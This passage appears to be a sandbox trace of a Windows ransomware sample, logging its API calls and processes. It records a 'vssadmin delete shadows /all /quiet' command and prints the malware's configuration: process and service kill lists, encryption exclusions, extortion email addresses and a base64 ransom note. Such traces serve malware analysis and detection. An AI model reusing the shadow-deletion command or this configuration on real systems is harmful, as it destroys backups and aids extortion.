| out: DestinationString="taskhostw.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a4d8 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x31713d0 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a4d8 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168880 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x315a430 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a490 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a4d8 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a430 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x315a430 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0088.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b58 [0088.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a490 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a430 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x31713d0 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a490 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.811] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a490 [0088.811] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.812] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a490 [0088.812] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0088.812] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a490 [0088.812] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.812] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.812] Sleep (dwMilliseconds=0x64) Thread: id = 24 os_tid = 0x4d0 Thread: id = 1386 os_tid = 0x144c Thread: id = 1407 os_tid = 0x2d4 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x60192000" os_pid = "0xe5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xd1c" cmd_line = "C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x4d8 Thread: id = 1406 os_tid = 0xcb8 Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x60bcb000" os_pid = "0xef4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe5c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x798 Thread: id = 67 os_tid = 0x36c Thread: id = 374 os_tid = 0x46c Thread: id = 857 os_tid = 0x1468 Thread: id = 1159 os_tid = 0x824 Process: id = "6" image_name = "d0e7313858.exe" filename = "c:\\program files (x86)\\d0e7313858\\d0e7313858.exe" page_root = "0x59898000" os_pid = "0xd80" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1459 os_tid = 0xd84 [0148.933] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x200) returned 0xa4e740 [0148.995] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x6) returned 0xa42c00 [0148.995] RtlInitAnsiString (in: DestinationString=0x8ff80c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.995] RtlAnsiStringToUnicodeString (in: DestinationString=0x8ff814, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0148.996] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xc) returned 0xa51888 [0148.996] RtlFreeAnsiString (AnsiString="N") [0148.996] RtlInitUnicodeString (in: DestinationString=0x8ff818, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.996] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x8ff824 | out: BaseAddress=0x8ff824*=0x775b0000) returned 0x0 [0148.996] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa51888) returned 1 [0148.997] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa42c00) returned 1 [0148.997] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x6) returned 0xa42c00 [0148.997] RtlInitAnsiString (in: DestinationString=0x8ff80c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.997] RtlAnsiStringToUnicodeString (in: DestinationString=0x8ff814, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0148.997] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xc) returned 0xa51918 [0148.997] RtlFreeAnsiString (AnsiString="N") [0148.997] RtlInitUnicodeString (in: DestinationString=0x8ff818, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.997] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x8ff824 | out: BaseAddress=0x8ff824*=0x775b0000) returned 0x0 [0148.997] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa51918) returned 1 [0148.998] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa42c00) returned 1 [0148.999] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x6) returned 0xa42c00 [0148.999] RtlInitAnsiString (in: DestinationString=0x8ff80c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x8ff814, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0148.999] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xc) returned 0xa51990 [0148.999] RtlFreeAnsiString (AnsiString="N") [0148.999] RtlInitUnicodeString (in: DestinationString=0x8ff818, SourceString="NTDLL" | out: DestinationString="NTDLL") [0148.999] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x8ff824 | out: BaseAddress=0x8ff824*=0x775b0000) returned 0x0 [0148.999] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa51990) returned 1 [0149.000] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa42c00) returned 1 [0149.001] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x6) returned 0xa42c00 [0149.001] RtlInitAnsiString (in: DestinationString=0x8ff80c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0149.001] RtlAnsiStringToUnicodeString (in: DestinationString=0x8ff814, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0149.001] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xc) returned 0xa51978 [0149.001] RtlFreeAnsiString (AnsiString="N") [0149.001] RtlInitUnicodeString (in: DestinationString=0x8ff818, SourceString="NTDLL" | out: DestinationString="NTDLL") [0149.001] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x8ff824 | out: BaseAddress=0x8ff824*=0x775b0000) returned 0x0 [0149.001] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa51978) returned 1 [0149.002] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa42c00) returned 1 [0149.002] RtlInitUnicodeString (in: DestinationString=0x8ff884, SourceString="advapi32.dll" | out: DestinationString="advapi32.dll") [0149.002] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x8ff890 | out: BaseAddress=0x8ff890*=0x76110000) returned 0x0 [0149.402] RtlInitUnicodeString (in: DestinationString=0x8ff884, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0149.402] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x8ff890 | out: BaseAddress=0x8ff890*=0x73fb0000) returned 0x0 [0149.415] RtlInitUnicodeString (in: DestinationString=0x8ff884, SourceString="shell32.dll" | out: DestinationString="shell32.dll") [0149.415] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x8ff890 | out: BaseAddress=0x8ff890*=0x74d20000) returned 0x0 [0150.761] FindResourceA (hModule=0x210000, lpName=0x7a69, lpType=0x539) returned 0x225048 [0150.762] LoadResource (hModule=0x210000, hResInfo=0x225048) returned 0x225058 [0150.762] LockResource (hResData=0x225058) returned 0x225058 [0150.762] SizeofResource (hModule=0x210000, hResInfo=0x225048) returned 0xd8a [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0xd8a) returned 0xa5e368 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x5) returned 0xa5acd8 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x100) returned 0xa54e48 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x100) returned 0xa53690 [0150.762] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa53690) returned 1 [0150.762] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa54e48) returned 1 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa580b0 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ab68 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa58050 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ab28 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa580f0 [0150.762] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab28, Size=0x8) returned 0xa5ac08 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57e70 [0150.762] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x8ff838, _Radix=0 | out: _EndPtr=0x8ff838*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsg